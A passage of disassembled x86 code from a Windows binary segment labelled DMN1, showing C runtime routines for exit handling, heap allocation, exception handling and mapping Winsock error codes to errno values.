8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449D81 proc near ; CODE XREF: DMN1:00445E92p ; DMN1:004462FFp ... push ebx call sub_44B471 mov ebx, eax test eax, eax jnz short loc_449D95 push 1 call sub_44B571 pop ecx loc_449D95: ; CODE XREF: sub_449D81+Aj cmp dword ptr [ebx+4], 0FFFFFFFFh jz short loc_449DA8 mov eax, [ebx+4] push eax call dword_411CF8 loc_449DA8: ; CODE XREF: sub_449D81+1Bj push ebx call sub_44B4E1 pop ecx push 0 call dword_411DA4 pop ebx retn sub_449D81 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449DC1 proc near ; CODE XREF: sub_447C50+DAp ; sub_447C50+F1p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00449E47 SIZE 0000001B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8E0 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 2 call sub_44AB21 pop ecx mov [ebp+var_4], 0 jmp short loc_449E0D ; --------------------------------------------------------------------------- loc_449DF8: ; CODE XREF: sub_449DC1+53j mov eax, dword_4111A0 lea edx, [eax+1] mov dword_4111A0, edx call dword_411060[eax*4] loc_449E0D: ; CODE XREF: sub_449DC1+35j cmp dword_4111A0, 50h jb short loc_449DF8 jmp short loc_449E2A ; --------------------------------------------------------------------------- loc_449E18: ; CODE XREF: sub_449DC1+70j mov eax, dword_4111A4 dec eax mov dword_4111A4, eax call dword_411060[eax*4] loc_449E2A: ; CODE XREF: sub_449DC1+55j cmp dword_4111A4, 0 jnz short loc_449E18 or [ebp+var_4], 0FFFFFFFFh call sub_449E3E jmp short loc_449E47 sub_449DC1 endp ; =============== S U B R O U T I N E ======================================= sub_449E3E proc near ; CODE XREF: sub_449DC1+76p push 2 call sub_44ABA1 pop ecx retn sub_449E3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449DC1 loc_449E47: ; CODE XREF: sub_449DC1+7Bj mov eax, [ebp+arg_0] push eax call sub_44B571 pop ecx pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_449DC1 ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_449E71 proc near ; CODE XREF: DMN1:00448A0Fp ; DMN1:00448A3Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_44B5F1 pop ecx retn sub_449E71 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8EC push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 50h push ebx push esi push edi mov [ebp-18h], esp push 2000000h call sub_44D211 pop ecx mov dword_4117DC, eax call sub_44A991 test eax, eax jnz short loc_449EC8 push 1 call sub_44B571 pop ecx loc_449EC8: ; CODE XREF: DMN1:00449EBEj call sub_44B3B1 test eax, eax jnz short loc_449ED9 push 1 call sub_44B571 pop ecx loc_449ED9: ; CODE XREF: DMN1:00449ECFj mov dword ptr [ebp-4], 0 call sub_44B621 call sub_44B681 call sub_44BAF1 call sub_44BB91 mov esi, offset dword_4101EC jmp short loc_449F00 ; --------------------------------------------------------------------------- loc_449EFB: ; CODE XREF: DMN1:00449F06j call dword ptr [esi] add esi, 4 loc_449F00: ; CODE XREF: DMN1:00449EF9j cmp esi, offset dword_4101EC jb short loc_449EFB mov dword ptr [ebp-30h], 0 lea eax, [ebp-5Ch] push eax call dword_411DA8 push 0 call dword_411D6C mov [ebp-60h], eax call sub_44BC51 test byte ptr [ebp-30h], 1 jz short loc_449F35 movzx esi, word ptr [ebp-2Ch] jmp short loc_449F3A ; --------------------------------------------------------------------------- loc_449F35: ; CODE XREF: DMN1:00449F2Dj mov esi, 0Ah loc_449F3A: ; CODE XREF: DMN1:00449F33j push esi push eax push 0 mov eax, [ebp-60h] push eax call sub_449069 mov ebx, eax mov edi, offset dword_4101EC jmp short loc_449F55 ; --------------------------------------------------------------------------- loc_449F50: ; CODE XREF: DMN1:00449F5Bj call dword ptr [edi] add edi, 4 loc_449F55: ; CODE XREF: DMN1:00449F4Ej cmp edi, offset dword_4101EC jb short loc_449F50 push ebx call sub_449DC1 pop ecx jmp short loc_449F8E ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov [ebp-1Ch], eax mov eax, [ebp-14h] push eax mov eax, [ebp-1Ch] push eax call sub_44B581 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-1Ch] push eax call sub_44B571 pop ecx loc_449F8E: ; CODE XREF: DMN1:00449F64j or dword ptr [ebp-4], 0FFFFFFFFh pop edi pop esi pop ebx mov ecx, [ebp-10h] mov large fs:0, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449FB1 proc near ; CODE XREF: sub_44A241+ECp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, [ebp+arg_0] add eax, 3 shr eax, 0Eh shl eax, 0Eh lea esi, [eax+4000h] mov edi, esi shl edi, 2 push edi call sub_44BC91 pop ecx mov [ebp+var_8], eax test eax, eax jnz short loc_449FF0 mov dword_4117E0, 0 xor eax, eax jmp loc_44A22E ; --------------------------------------------------------------------------- loc_449FF0: ; CODE XREF: sub_449FB1+2Cj mov eax, dword_4127EC mov edx, dword_4127E8 add eax, edx cmp eax, [ebp+var_8] jnz short loc_44A016 mov ebx, dword_4127E8 mov eax, dword_4127EC add edi, eax mov esi, edi shr esi, 2 jmp short loc_44A023 ; --------------------------------------------------------------------------- loc_44A016: ; CODE XREF: sub_449FB1+4Fj mov eax, [ebp+var_8] mov ebx, eax mov edx, ebx sub edx, eax mov eax, edx sub edi, eax loc_44A023: ; CODE XREF: sub_449FB1+63j mov eax, esi shl eax, 2 lea edx, [ebx+eax] mov dword_4127E8, edx mov edx, edi sub edx, eax mov eax, edx mov dword_4127EC, eax mov eax, dword_4111CC add eax, 4 cmp ebx, eax jnz short loc_44A055 cmp dword_4111D4, 0 jnz loc_44A1C7 loc_44A055: ; CODE XREF: sub_449FB1+95j mov eax, dword_4111D4 mov [ebp+var_C], eax mov dword_4111D4, ebx mov eax, [ebp+var_C] mov [ebx], eax add ebx, 4 dec esi mov dword_4111CC, ebx mov eax, dword_4111D0 test eax, eax jz short loc_44A07F cmp eax, ebx jbe short loc_44A085 loc_44A07F: ; CODE XREF: sub_449FB1+C8j mov dword_4111D0, ebx loc_44A085: ; CODE XREF: sub_449FB1+CCj mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4-4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, esi or eax, 80000000h mov [edx], eax sub esi, 2 add ebx, 4 mov eax, dword_4111CC lea ebx, [eax-4] cmp esi, dword_4111E4 ja short loc_44A0F3 cmp esi, dword_4111DC ja short loc_44A0DB mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_44A0EE ; --------------------------------------------------------------------------- loc_44A0DB: ; CODE XREF: sub_449FB1+116j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_44A0EE: ; CODE XREF: sub_449FB1+128j mov eax, [ebp+var_10] jmp short loc_44A123 ; --------------------------------------------------------------------------- loc_44A0F3: ; CODE XREF: sub_449FB1+10Ej cmp esi, dword_4111EC ja short loc_44A110 mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_44A123 ; --------------------------------------------------------------------------- loc_44A110: ; CODE XREF: sub_449FB1+148j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_44A123: ; CODE XREF: sub_449FB1+140j ; sub_449FB1+15Dj mov eax, [ebp+var_10] mov dword_4111FC, eax mov eax, dword_4111FC mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_44A169 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx mov eax, dword_4111FC cmp dword_4111F8, eax jle short loc_44A172 mov eax, dword_4111FC mov dword_4111F8, eax jmp short loc_44A172 ; --------------------------------------------------------------------------- loc_44A169: ; CODE XREF: sub_449FB1+18Bj mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_44A172: ; CODE XREF: sub_449FB1+1AAj ; sub_449FB1+1B6j mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, esi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], esi mov [ebx], esi mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx jmp short loc_44A1AC ; --------------------------------------------------------------------------- loc_44A1A6: ; CODE XREF: sub_449FB1+20Dj inc dword_4111F8 loc_44A1AC: ; CODE XREF: sub_449FB1+1F3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_44A1C0 cmp eax, 7 jl short loc_44A1A6 loc_44A1C0: ; CODE XREF: sub_449FB1+208j mov eax, 1 jmp short loc_44A22E ; --------------------------------------------------------------------------- loc_44A1C7: ; CODE XREF: sub_449FB1+9Ej add ebx, 0FFFFFFFCh mov eax, [ebx] and eax, 7FFFFFFFh add eax, esi mov [ebp+var_4], eax mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, [ebx] mov [edx-4], eax mov edx, dword_4111CC mov eax, [ebp+var_4] or eax, 80000000h mov [edx], eax mov eax, [ebp+var_4] mov edx, dword_4111CC mov ecx, eax shl ecx, 2 sub edx, ecx or eax, 80000000h mov [edx+4], eax lea eax, [ebx+4] push eax call sub_4494D1 pop ecx mov eax, 1 loc_44A22E: ; CODE XREF: sub_449FB1+3Aj ; sub_449FB1+214j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449FB1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A241 proc near ; CODE XREF: sub_44A581+4Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov eax, [ebp+arg_0] add eax, 3 shr eax, 2 lea esi, [eax+2] cmp esi, 4 jnb short loc_44A262 mov esi, 4 loc_44A262: ; CODE XREF: sub_44A241+1Aj xor edi, edi cmp esi, dword_4111E4 ja short loc_44A29E cmp esi, dword_4111DC ja short loc_44A286 mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_44A299 ; --------------------------------------------------------------------------- loc_44A286: ; CODE XREF: sub_44A241+31j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_44A299: ; CODE XREF: sub_44A241+43j mov eax, [ebp+var_10] jmp short loc_44A2CE ; --------------------------------------------------------------------------- loc_44A29E: ; CODE XREF: sub_44A241+29j cmp esi, dword_4111EC ja short loc_44A2BB mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_44A2CE ; --------------------------------------------------------------------------- loc_44A2BB: ; CODE XREF: sub_44A241+63j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_44A2CE: ; CODE XREF: sub_44A241+5Bj ; sub_44A241+78j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, dword_4111F8 cmp [ebp+var_C], eax jge short loc_44A31E mov eax, dword_4111F8 mov [ebp+var_C], eax jmp short loc_44A31E ; --------------------------------------------------------------------------- loc_44A2E8: ; CODE XREF: sub_44A241+E5j mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov eax, dword_4111A8[eax*4] mov ebx, eax test eax, eax jz short loc_44A31E mov eax, dword_4111CC add eax, 0FFFFFFFCh cmp ebx, eax jnz short loc_44A30D mov ebx, [ebx-4] loc_44A30D: ; CODE XREF: sub_44A241+C7j mov [ebp+var_4], ebx loc_44A310: ; CODE XREF: sub_44A241+DBj mov edi, [ebx] cmp edi, esi jnb short loc_44A31E mov ebx, [ebx-4] cmp ebx, [ebp+var_4] jnz short loc_44A310 loc_44A31E: ; CODE XREF: sub_44A241+9Bj ; sub_44A241+A5j ... cmp edi, esi jnb short loc_44A328 cmp [ebp+var_C], 8 jl short loc_44A2E8 loc_44A328: ; CODE XREF: sub_44A241+DFj cmp edi, esi jnb short loc_44A34E push esi call sub_449FB1 pop ecx test eax, eax jz loc_44A578 mov eax, dword_4111FC mov [ebp+var_C], eax mov ebx, dword_4111A8[eax*4] mov edi, [ebx] jmp short loc_44A357 ; --------------------------------------------------------------------------- loc_44A34E: ; CODE XREF: sub_44A241+E9j cmp [ebp+var_C], 0 jle short loc_44A357 dec [ebp+var_C] loc_44A357: ; CODE XREF: sub_44A241+10Bj ; sub_44A241+111j mov eax, edi sub eax, esi mov [ebp+var_14], eax cmp eax, 4 jb loc_44A4E0 mov eax, dword_4111E4 cmp [ebp+var_14], eax ja short loc_44A3A7 mov eax, dword_4111DC cmp [ebp+var_14], eax ja short loc_44A38E mov eax, dword_4111D8 cmp [ebp+var_14], eax setnbe al and eax, 1 mov [ebp+var_1C], eax jmp short loc_44A3A2 ; --------------------------------------------------------------------------- loc_44A38E: ; CODE XREF: sub_44A241+138j mov eax, dword_4111E0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_1C], eax loc_44A3A2: ; CODE XREF: sub_44A241+14Bj mov eax, [ebp+var_1C] jmp short loc_44A3DB ; --------------------------------------------------------------------------- loc_44A3A7: ; CODE XREF: sub_44A241+12Ej mov eax, dword_4111EC cmp [ebp+var_14], eax ja short loc_44A3C7 mov eax, dword_4111E8 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_1C], eax jmp short loc_44A3DB ; --------------------------------------------------------------------------- loc_44A3C7: ; CODE XREF: sub_44A241+16Ej mov eax, dword_4111F0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_1C], eax loc_44A3DB: ; CODE XREF: sub_44A241+164j ; sub_44A241+184j mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jz loc_44A4CD mov eax, [ebx-4] mov [ebp+var_20], eax cmp ebx, [ebp+var_20] jnz short loc_44A42F mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_44A460 jmp short loc_44A419 ; --------------------------------------------------------------------------- loc_44A413: ; CODE XREF: sub_44A241+1EAj inc dword_4111F8 loc_44A419: ; CODE XREF: sub_44A241+1D0j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_44A42D cmp eax, 7 jl short loc_44A413 loc_44A42D: ; CODE XREF: sub_44A241+1E5j jmp short loc_44A460 ; --------------------------------------------------------------------------- loc_44A42F: ; CODE XREF: sub_44A241+1B5j mov eax, [ebx-8] mov [ebp+var_24], eax mov edx, [ebp+var_24] mov eax, [ebp+var_20] mov [edx-4], eax mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_44A460 mov eax, [ebp+var_C] mov edx, [ebp+var_24] mov dword_4111A8[eax*4], edx loc_44A460: ; CODE XREF: sub_44A241+1CEj ; sub_44A241:loc_44A42Dj ... mov eax, [ebp+var_18] mov eax, dword_4111A8[eax*4] mov [ebp+var_24], eax test eax, eax jnz short loc_44A496 mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov eax, [ebp+var_18] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_18] cmp dword_4111F8, eax jle short loc_44A49F mov eax, [ebp+var_18] mov dword_4111F8, eax jmp short loc_44A49F ; --------------------------------------------------------------------------- loc_44A496: ; CODE XREF: sub_44A241+22Ej mov eax, [ebp+var_24] mov eax, [eax-8] mov [ebp+var_20], eax loc_44A49F: ; CODE XREF: sub_44A241+249j ; sub_44A241+253j mov eax, [ebp+var_24] mov [ebx-4], eax mov edx, [ebp+var_24] mov [edx-8], ebx mov edx, [ebp+var_20] mov [edx-4], ebx mov eax, [ebp+var_20] mov [ebx-8], eax mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp loc_44A555 ; --------------------------------------------------------------------------- loc_44A4CD: ; CODE XREF: sub_44A241+1A6j mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp short loc_44A555 ; --------------------------------------------------------------------------- loc_44A4E0: ; CODE XREF: sub_44A241+120j mov eax, [ebx-4] mov [ebp+var_1C], eax cmp ebx, [ebp+var_1C] jnz short loc_44A522 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_44A553 jmp short loc_44A50C ; --------------------------------------------------------------------------- loc_44A506: ; CODE XREF: sub_44A241+2DDj inc dword_4111F8 loc_44A50C: ; CODE XREF: sub_44A241+2C3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_44A520 cmp eax, 7 jl short loc_44A506 loc_44A520: ; CODE XREF: sub_44A241+2D8j jmp short loc_44A553 ; --------------------------------------------------------------------------- loc_44A522: ; CODE XREF: sub_44A241+2A8j mov eax, [ebx-8] mov [ebp+var_20], eax mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx-4], eax mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_44A553 mov eax, [ebp+var_C] mov edx, [ebp+var_20] mov dword_4111A8[eax*4], edx loc_44A553: ; CODE XREF: sub_44A241+2C1j ; sub_44A241:loc_44A520j ... mov esi, edi loc_44A555: ; CODE XREF: sub_44A241+287j ; sub_44A241+29Dj mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax lea eax, [edx+4] mov [ebp+var_8], eax mov edx, esi or edx, 80000000h mov [eax+esi*4-4], edx mov [eax], edx mov eax, [ebp+var_8] add eax, 4 loc_44A578: ; CODE XREF: sub_44A241+F4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A241 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A581 proc near ; CODE XREF: sub_449121+Dp ; sub_449CF1+Ap ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0044A5E8 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8FC push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], 0 mov eax, dword_4117E0 cmp [ebp+arg_0], eax jnb short loc_44A5E8 push 0 call sub_44AB21 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_44A241 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_44A5DF jmp short loc_44A5E8 sub_44A581 endp ; =============== S U B R O U T I N E ======================================= sub_44A5DF proc near ; CODE XREF: sub_44A581+57p push 0 call sub_44ABA1 pop ecx retn sub_44A5DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A581 loc_44A5E8: ; CODE XREF: sub_44A581+35j ; sub_44A581+5Cj cmp [ebp+var_1C], 0 jnz short loc_44A5FB mov eax, [ebp+arg_0] push eax call sub_44A9D1 pop ecx mov [ebp+var_1C], eax loc_44A5FB: ; CODE XREF: sub_44A581+6Bj cmp [ebp+var_1C], 0 jnz short loc_44A60C call sub_44A781 mov dword ptr [eax], 0Ch loc_44A60C: ; CODE XREF: sub_44A581+7Ej mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_44A581 ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44A621 proc near ; CODE XREF: sub_449CF1+7Bp ; sub_44B161+80p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 91h jz loc_44A6F3 jg short loc_44A67E cmp ebx, 50h jl short loc_44A645 cmp ebx, 59h jg short loc_44A656 jmp dword ptr aProtorecvDataS+4[ebx*4] ; --------------------------------------------------------------------------- loc_44A645: ; CODE XREF: sub_44A621+16j cmp ebx, 1 jl short loc_44A6C3 cmp ebx, 43h jg short loc_44A6C3 jmp off_40F92C[ebx*4] ; --------------------------------------------------------------------------- loc_44A656: ; CODE XREF: sub_44A621+1Bj cmp ebx, 6Ch jl short loc_44A6C3 cmp ebx, 72h jg short loc_44A667 jmp dword ptr a02i02i02iIIIS+7[ebx*4] ; --------------------------------------------------------------------------- loc_44A667: ; CODE XREF: sub_44A621+3Dj cmp ebx, 80h jl short loc_44A6C3 cmp ebx, 84h jg short loc_44A6C3 jmp dword ptr aWinsock2_xInit+0Fh[ebx*4] ; --------------------------------------------------------------------------- loc_44A67E: ; CODE XREF: sub_44A621+11j cmp ebx, 0A4h jz short loc_44A700 cmp ebx, 0A7h jz short loc_44A6F3 jg short loc_44A6A2 cmp ebx, 9Eh jz short loc_44A6F3 cmp ebx, 0A1h jz short loc_44A6D3 jmp short loc_44A6C3 ; --------------------------------------------------------------------------- loc_44A6A2: ; CODE XREF: sub_44A621+6Dj cmp ebx, 0B7h jl short loc_44A6C3 cmp ebx, 0D7h jg short loc_44A6B9 jmp dword ptr aHandshakeBadPa+1[ebx*4] ; --------------------------------------------------------------------------- loc_44A6B9: ; CODE XREF: sub_44A621+8Fj cmp ebx, 718h jz short loc_44A6E3 jmp short $+2 loc_44A6C3: ; CODE XREF: sub_44A621+27j ; sub_44A621+2Cj ... call sub_44A781 mov dword ptr [eax], 16h jmp loc_44A773 ; --------------------------------------------------------------------------- loc_44A6D3: ; CODE XREF: sub_44A621+7Dj call sub_44A781 mov dword ptr [eax], 2 jmp loc_44A773 ; --------------------------------------------------------------------------- loc_44A6E3: ; CODE XREF: sub_44A621+9Ej call sub_44A781 mov dword ptr [eax], 0Ch jmp loc_44A773 ; --------------------------------------------------------------------------- loc_44A6F3: ; CODE XREF: sub_44A621+Bj ; sub_44A621+6Bj ... call sub_44A781 mov dword ptr [eax], 0Dh jmp short loc_44A773 ; --------------------------------------------------------------------------- loc_44A700: ; CODE XREF: sub_44A621+63j call sub_44A781 mov dword ptr [eax], 0Bh jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 11h jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 9 jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 0Ah jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 8 jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 18h jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 1Ch jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 20h jmp short loc_44A773 ; --------------------------------------------------------------------------- call sub_44A781 mov dword ptr [eax], 12h loc_44A773: ; CODE XREF: sub_44A621+ADj ; sub_44A621+BDj ... pop ebx retn sub_44A621 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A781 proc near ; CODE XREF: sub_449151+1Bp ; sub_44A581+80p ... call sub_44B471 add eax, 8 retn sub_44A781 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz short loc_44A82E mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_44A7C8: ; CODE XREF: DMN1:0044A825j cmp esi, 0FFFFFFFFh jz short loc_44A83E lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_44A81C push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] test eax, eax jz short loc_44A81C js short loc_44A827 mov edi, [ebx+8] push ebx call sub_44A871 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_44A8C1 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_44A96A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_44A81C: ; CODE XREF: DMN1:0044A7D5j ; DMN1:0044A7E7j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_44A7C8 ; --------------------------------------------------------------------------- loc_44A827: ; CODE XREF: DMN1:0044A7E9j mov eax, 0 jmp short loc_44A843 ; --------------------------------------------------------------------------- loc_44A82E: ; CODE XREF: DMN1:0044A7B1j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_44A8C1 add esp, 8 pop ebp loc_44A83E: ; CODE XREF: DMN1:0044A7CBj mov eax, 1 loc_44A843: ; CODE XREF: DMN1:0044A82Cj pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_44A8C1 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A871 proc near ; CODE XREF: DMN1:0044A7EFp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_408568 push [ebp+arg_0] call sub_44F801 pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A871 endp ; --------------------------------------------------------------------------- mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_44A8B2 mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_44A8B2: ; CODE XREF: DMN1:0044A8A1j retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A8C1 proc near ; CODE XREF: DMN1:0044A7FCp ; DMN1:0044A835p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_408570 push large dword ptr fs:0 mov large fs:0, esp loc_44A8DE: ; CODE XREF: sub_44A8C1:loc_44A919j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_44A91B cmp esi, [esp+1Ch+arg_4] jz short loc_44A91B lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_44A919 push 101h mov eax, [ebx+esi*4+8] call sub_44A96A call dword ptr [ebx+esi*4+8] loc_44A919: ; CODE XREF: sub_44A8C1+44j jmp short loc_44A8DE ; --------------------------------------------------------------------------- loc_44A91B: ; CODE XREF: sub_44A8C1+2Aj ; sub_44A8C1+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_44A8C1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- xor eax, eax mov 